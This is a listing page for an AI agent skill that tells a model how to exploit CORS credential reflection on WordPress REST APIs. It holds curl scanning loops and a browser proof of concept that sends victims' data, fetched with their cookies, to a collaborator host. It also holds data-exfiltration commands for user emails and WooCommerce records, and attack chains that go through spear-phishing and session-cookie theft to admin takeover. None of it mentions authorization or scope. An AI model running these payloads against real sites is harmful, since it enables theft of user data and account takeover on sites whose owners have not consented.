Cors Credential Wordpress logo

Cors Credential Wordpress

CommunityPopular
uphiago
cors-credential-wordpress

Exploit WP CORS credential reflection for data theft.

Overview

Publisheruphiago
Repositoryrecon-skills
Skill namecors-credential-wordpress
Stars
1.3K
Forks
213
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by uphiago on GitHub. Read the source before you install it.

Installation

Install the Cors Credential Wordpress AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/uphiago/recon-skills.git /tmp/recon-skills
mkdir -p .claude/skills
cp -r /tmp/recon-skills/recon/cors-credential-wordpress .claude/skills/cors-credential-wordpress
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Cors Credential Wordpress in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Cors Credential Wordpress on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Cors Credential Wordpress is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

CORS Credential WordPress Skill

Detect, confirm, and exploit CORS credential reflection on WordPress REST API endpoints. CORS misconfiguration is one of the most common critical findings in US SMB WordPress sites (~7-8% of all WP targets), enabling cross-origin data exfiltration with victim cookies. Documents 8 CORS variants and full browser PoC construction.

When to Use

  • After wp-mass-recon flags a target with Access-Control-Allow-Credentials: true.
  • Testing any WordPress site's REST API for cross-origin data access.
  • Building attack chains: CORS → user enumeration → spear-phishing → ATO.
  • Validating whether a CORS finding is exploitable (not just present).

Prerequisites

  • curl and python3.
  • web_extract or browser_navigate for browser PoC verification.
  • Target must have WordPress REST API accessible (/wp-json/wp/v2/).

How to Run

bash
# Quick detection
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/wp-json/wp/v2/users" -H "Origin: https://evil.com" | grep -iE "access-control"

# Full CORS matrix (10 endpoints)
for ep in "users" "posts" "pages" "media" "comments" "categories" "tags" "settings" "plugins" "themes"; do
  echo "=== /wp-json/wp/v2/$ep ==="
  curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/wp-json/wp/v2/$ep" -H "Origin: https://evil.com" | grep -iE "access-control|http/"
  echo ""
done

Quick Reference

VariantDetectionExploitability
Origin reflection + credsAccess-Control-Allow-Credentials: true + mirror OriginCritical — full data theft
Null originAccess-Control-Allow-Origin: nullHigh — sandboxed iframes
Wildcard no credsAccess-Control-Allow-Origin: * (no creds)Info — public data only
Credentialed preflightOPTIONS returns 200 + ACACHigh — if GET without preflight
Auth-only leakCORS only on auth-protected endpointsHigh — cookie theft
Multi-originMultiple origins reflectedCritical — broader attack surface
Plugin-specific CORSCORS only on plugin namespaceMedium — plugin data
Staging-only CORSProduction has no CORS, staging doesMedium — dependent on staging access

Procedure

Step 1 — Single-Endpoint Detection

bash
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/wp-json/wp/v2/users" \
  -H "Origin: https://evil.com" \
  -H "User-Agent: Mozilla/5.0" 2>&1

Positive signals:

  • Access-Control-Allow-Origin: https://evil.com (mirrors attacker origin)
  • Access-Control-Allow-Credentials: true (sends cookies cross-origin)
  • Access-Control-Allow-Methods: GET (data exfiltration vector)
  • HTTP 200 on the endpoint itself (data is accessible)

Step 2 — Multi-Endpoint CORS Matrix

bash
#!/bin/bash
TARGET="$1"
ENDPOINTS=(
  "wp/v2/users"
  "wp/v2/posts"
  "wp/v2/pages"
  "wp/v2/media"
  "wp/v2/comments"
  "wp/v2/categories"
  "wp/v2/tags"
  "wc/v3/products"
  "wc/v3/orders"
  "gf/v2/forms"
  "elementor/v1/globals"
  "revslider/v1/slides"
)

for ep in "${ENDPOINTS[@]}"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 "https://$TARGET/wp-json/$ep")
  if [[ "$code" == "200" ]]; then
    cors=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/wp-json/$ep" -H "Origin: https://evil.com" 2>/dev/null | grep -i "access-control-allow-credentials: true")
    if [[ -n "$cors" ]]; then
      echo "[CRITICAL] CORS ON: /wp-json/$ep — data accessible cross-origin"
    fi
  fi
done

Step 3 — Browser PoC (save as poc.html)

html
<script>
fetch("https://TARGET/wp-json/wp/v2/users", {
  credentials: "include",
  headers: { "Origin": "https://evil.com" }
})
.then(r => r.json())
.then(data => {
  fetch("https://YOUR_COLLABORATOR/log?d=" + btoa(JSON.stringify(data)));
});
</script>

Step 4 — Data Exfiltration Payloads

bash
# Exfiltrate users with emails
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/wp-json/wp/v2/users?context=edit" \
  -H "Origin: https://evil.com" | python3 -m json.tool | grep -E '"id"|"name"|"slug"|"email"|"roles"'

# Exfiltrate all posts
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/wp-json/wp/v2/posts?per_page=100" \
  -H "Origin: https://evil.com" | python3 -c "
import sys, json
posts = json.load(sys.stdin)
for p in posts:
    print(f\"{p['id']}: {p['title']['rendered']}\")
" 2>/dev/null

# Exfiltrate WooCommerce products
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/wp-json/wc/v3/products" \
  -H "Origin: https://evil.com" | python3 -m json.tool 2>/dev/null | head -50

Attack Chains

Chain A: CORS → User Enum → Spear-Phish → ATO

  1. CORS exfiltrates all users with names/slugs
  2. Craft spear-phishing email to admin (admin@target.com)
  3. Link to CORS phishing page that steals WP session cookie
  4. Login as admin with stolen session → full site compromise

Chain B: CORS → Cookie Theft → API Access → ATO

  1. Victim visits attacker page while logged into target WP
  2. CORS fetch with credentials: "include" sends WP auth cookie
  3. Attacker replays cookie to access /wp-admin/ as victim
  4. Change admin email, reset password → persistent access

Pitfalls

  • Preflight blocking: Some servers require OPTIONS preflight for CORS requests with custom headers. Test with both simple GET (no preflight) and credentialed fetch (triggers preflight).
  • SameSite cookies: SameSite=Lax or SameSite=Strict cookies won't send cross-origin even with CORS. Check cookie attributes in browser.
  • WAF interference: Cloudflare may strip Origin header or block cross-origin requests. Test from non-Cloudflare IP.
  • False positive: Access-Control-Allow-Origin: * without credentials — this is public data, not a vulnerability. The key is Access-Control-Allow-Credentials: true.

Verification

  • The curl command MUST show Access-Control-Allow-Credentials: true AND an Access-Control-Allow-Origin that matches the attacker's origin (not *).
  • Browser PoC MUST successfully fetch data from a different origin with credentials.
  • The exfiltrated data MUST contain non-public information (users, posts, settings — not just public WP metadata).

Frequently asked questions

What does the Cors Credential Wordpress AI skill do?

Exploit WP CORS credential reflection for data theft.

Why use Cors Credential Wordpress on TypingMind?

Because you install it once and use it with any model. Cors Credential Wordpress is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Cors Credential Wordpress in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/uphiago/recon-skills/tree/main/recon/cors-credential-wordpress. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Cors Credential Wordpress?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Cors Credential Wordpress?

As many as you like. As long as a model supports skills, you can use Cors Credential Wordpress with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Cors Credential Wordpress AI skill free?

Yes. It is published on GitHub by uphiago under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇